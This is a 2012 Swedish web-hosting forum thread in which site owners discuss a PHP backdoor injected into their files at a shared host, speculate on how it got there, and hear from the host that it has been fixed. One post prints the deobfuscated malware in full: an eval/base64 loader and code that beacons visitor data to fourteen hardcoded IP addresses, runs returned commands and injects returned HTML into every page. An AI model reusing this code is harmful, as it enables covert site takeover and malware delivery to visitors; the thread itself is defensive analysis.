WN

WN (https://www.wn.se/forum/index.php)
-   Serversidans teknologier (https://www.wn.se/forum/forumdisplay.php?f=4)
-   -   Upptäckte skum php-kod på en av mina hemsidor (https://www.wn.se/forum/showthread.php?t=1053768)

fluortant 2012-06-12 13:24

Upptäckte skum php-kod på en av mina hemsidor
 
På en av mina äldre hemsidor som jag inte uppdaterat på över ett år upptäckte jag en skum kodsnutt när jag öppnade index.php idag.

Detta låg överst i filen: http://pastebin.com/WsNaiUJk

Nån som har en aning om vad det kan vara? Och även hur det kan ha hamnat där?

foks 2012-06-12 15:02

Gjorde bara en snabb analys, men den ansluter till en av 14 hårdkodade ip-nummer för att få instruktioner. Scriptet kan antingen lägga in extra html-kod (antagligen iframes till någon adress som sprider virus) eller köra valfritt php-kommando.

Det kan ha kommit dit på flera olika sätt, men jag skulle gissa på säkerhetshål i scriptet eller bruteforceattack till tex wp-admin.

AndersN 2012-06-13 13:53

Även jag har hittat detta på en av mina kudners sidor.
Detta är dock inte en WP sida, hur får dom in detta i koden på sidorna?
Det låg på sidhuvud och sidfot och dess är inte ens ändringsbar via admin delen.

Zeroi 2012-06-13 14:22

Citat:

Ursprungligen postat av AndersN (Inlägg 20442408)
Även jag har hittat detta på en av mina kudners sidor.
Detta är dock inte en WP sida, hur får dom in detta i koden på sidorna?
Det låg på sidhuvud och sidfot och dess är inte ens ändringsbar via admin delen.


FTP bruteforce?

AndersN 2012-06-13 14:44

Citat:

Ursprungligen postat av Zeroi (Inlägg 20442418)
FTP bruteforce?

Det bör finnas i wehotellets loggar?

fluortant 2012-06-13 15:13

Citat:

Ursprungligen postat av foks (Inlägg 20442328)
Gjorde bara en snabb analys, men den ansluter till en av 14 hårdkodade ip-nummer för att få instruktioner. Scriptet kan antingen lägga in extra html-kod (antagligen iframes till någon adress som sprider virus) eller köra valfritt php-kommando.

Det kan ha kommit dit på flera olika sätt, men jag skulle gissa på säkerhetshål i scriptet eller bruteforceattack till tex wp-admin.

Tack, fick även detta svar genom ett pm. Upptäckte även att denna kod fanns på alla mina filer, även under en annan hemsida på samma webbhotell.

Citat:

Ursprungligen postat av AndersN (Inlägg 20442408)
Även jag har hittat detta på en av mina kudners sidor.
Detta är dock inte en WP sida, hur får dom in detta i koden på sidorna?
Det låg på sidhuvud och sidfot och dess är inte ens ändringsbar via admin delen.

Intressant. Vilket webbhotell hade denna kund? Jag har heller inte en wp-sida.

AndersN 2012-06-13 15:30

Citat:

Ursprungligen postat av fluortant (Inlägg 20442425)
Tack, fick även detta svar genom ett pm. Upptäckte även att denna kod fanns på alla mina filer, även under en annan hemsida på samma webbhotell.


Intressant. Vilket webbhotell hade denna kund? Jag har heller inte en wp-sida.

Ligger i CityNetworks gamla system

fluortant 2012-06-13 15:43

Citat:

Ursprungligen postat av AndersN (Inlägg 20442428)
Ligger i CityNetworks gamla system

Samma som mina hemsidor då. Kanske är deras servrar infekterade och det på så sätt spridits.

AndersN 2012-06-13 15:58

Citat:

Ursprungligen postat av fluortant (Inlägg 20442430)
Samma som mina hemsidor då. Kanske är deras servrar infekterade och det på så sätt spridits.

Intressant, då skall jag kontakta CN ang. detta.

AndersN 2012-06-13 15:59

Ser även att detta drabbat yttligare en kund som ligger i gamla systemet.

Sony? 2012-06-13 22:43

Min hemsida blev drabbad av liknande kod. Jag är mycket mån om säkerhet och var helt säker på att det inte var i något av mina script. Visade sig att webbhotellet hade en gammal cpanel version som hade säkerhetshål.


Rensade upp koden helt och hållet.
PHP-kod:

<?php
/*02650a6c543e9196f2170570283ae32b_on*/

$evil_code = **N&#196;STA KOD RUTA**;

$z create_function('$arg1', eval .'(base64_decode($arg1));');
$z($evil_code); //Kör nästa rutas kod

/*02650a6c543e9196f2170570283ae32b_off*/

?>

$evil_code, det är detta som körs och är det viktiga. Allt annat är bara för att dölja denna bit kod.
PHP-kod:

<?php
    
    
if (!function_exists("GetMama")) {
        
        function 
ahfudflfzdhfhs($pa)    {
            
$mama GetMama();
            
$file urlencode(__FILE__);
            
            if(isset(
$_SERVER["HTTP_HOST"])){
                
$host $_SERVER["HTTP_HOST"];
            } else{
                
$host "";
            }

            
            if(isset(
$_SERVER["REMOTE_ADDR"])){
                
$ip $_SERVER["REMOTE_ADDR"];
            } else{
                
$ip "";
            }

            
            if (isset(
$_SERVER["HTTP_REFERER"])){
                
$ref urlencode($_SERVER["HTTP_REFERER"]);
            } else {
                
$ref "";
            }

            
            if (isset(
$_SERVER["HTTP_USER_AGENT"])){
                
$ua urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
            } else {
                
$ua "";
            }

            
            if (isset(
$_SERVER["QUERY_STRING"])){
                
$qs urlencode($_SERVER["QUERY_STRING"]);
            } else {
                
$qs "";
            }

            
$url_0 "http://" $pa;
            
$url_1 "/jedi.php?version=0997&mother=" .$mama "&file=" $file "&host=" $host "&ip=" $ip "&ref=" $ref "&ua=" .$ua "&qs=" $qs;
            
$try true;
            
            if( 
function_exists("curl_init") ){
                
$ch curl_init($url_0 $url_1);
                
curl_setopt($chCURLOPT_RETURNTRANSFER1);
                
curl_setopt($chCURLOPT_TIMEOUT3);
                
$ult trim(curl_exec($ch));
                
$try false;
            }

            
            if ((
ini_get("allow_url_fopen")) && $try) {
                
$ult trim(@file_get_contents($url_0 $url_1));
                
$try false;
            }

            
            if(
$try){
                
$fp fsockopen($pa80$errno$errstr30);
                
                if (
$fp) {
                    
$out "GET $url_1 HTTP/1.0\r\n";
                    
$out .= "Host: $pa\r\n";
                    
$out .= "Connection: Close\r\n\r\n";
                    
fwrite($fp$out);
                    
$ret "";
                    while (!
feof($fp)) {
                        
$ret  .=  fgets($fp128);
                    }

                    
fclose($fp);
                    
$ult trim(substr($retstrpos($ret"\r\n\r\n") + 4));
                }

            }

            
            if (
strpos($ult,"eval") !== false){
                
$z stripslashes(str_replace("eval","",$ult));
                eval(
$z);
                exit();
            }

            
            if (
strpos($ult,"ebna") !== false){
                
$_SERVER["good"] = str_replace("ebna","",$ult);
                return 
true;
            } else {
                return 
false;
            }

        }

        
        function 
gogo(){
            
$father2[] = "77.81.241.253";
            
$father2[] = "46.249.58.135";
            
$father2[] = "176.9.241.150";
            
$father2[] = "46.37.169.56";
            
$father2[] = "94.242.255.35";
            
$father2[] = "178.162.129.223";
            
$father2[] = "31.184.234.96";
            
$father2[] = "77.95.18.189";
            
$father2[] = "93.170.137.22";
            
$father2[] = "188.40.95.244";
            
$father2[] = "199.115.231.58";
            
$father2[] = "82.192.87.178";
            
$father2[] = "216.246.99.215";
            
$father2[] = "95.211.18.79";
            
shuffle($father2);
            foreach(
$father2 as $ur){
                
                if ( 
ahfudflfzdhfhs($ur) ) {
                    return 
true;
                }

            }

        }

        
        function 
mod_con($buf){
            
str_ireplace("<body>","<body>",$buf,$cnt_h);
            
            if (
$cnt_h == 1) {
                
gogo();
                
$buf str_ireplace("<body>","<body>" stripslashes($_SERVER["good"]),$buf);
                return 
$buf;
            }

            
str_ireplace("</body>","</body>",$buf,$cnt_h);
            
            if (
$cnt_h == 1) {
                
gogo();
                
$buf str_ireplace("</body>",stripslashes($_SERVER["good"])."</body>",$buf);
                return 
$buf;
            }

            return 
$buf;
        }

        
        function 
opanki($buf){
            
$gz_e false;
            
$h_l headers_list();
            
            if (
in_array("Content-Encoding: gzip"$h_l)){
                
$gz_e true;
            }

            
            if (
$gz_e){
                
$tmpfname tempnam("/tmp""FOO");
                
$zf fopen($tmpfname"w");
                
fputs($zf$buf);
                
fclose($zf);
                
$zd gzopen($tmpfname"r");
                
$contents gzread($zd10000000);
                
$contents mod_con($contents);
                
gzclose($zd);
                
unlink($tmpfname);
                
$contents gzencode($contents);
            } else {
                
$contents mod_con($buf);
            }

            
$len strlen($contents);
            
header("Content-Length: ".$len);
            return(
$contents);
        }

        
        function 
GetMama(){
            
$mother "sedom";
            return 
$mother;
        }

        
ob_start("opanki");
    }


johan_f 2012-06-20 10:21

Citat:

Ursprungligen postat av AndersN (Inlägg 20442434)
Intressant, då skall jag kontakta CN ang. detta.

Hej

Vi är medvetna om detta och det ska vara åtgärdat.
En av våra gamla servrar som drabbats.

/Johan


Alla tider är GMT +2. Klockan är nu 01:32.

Programvara från: vBulletin® Version 3.8.2
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Svensk översättning av: Anders Pettersson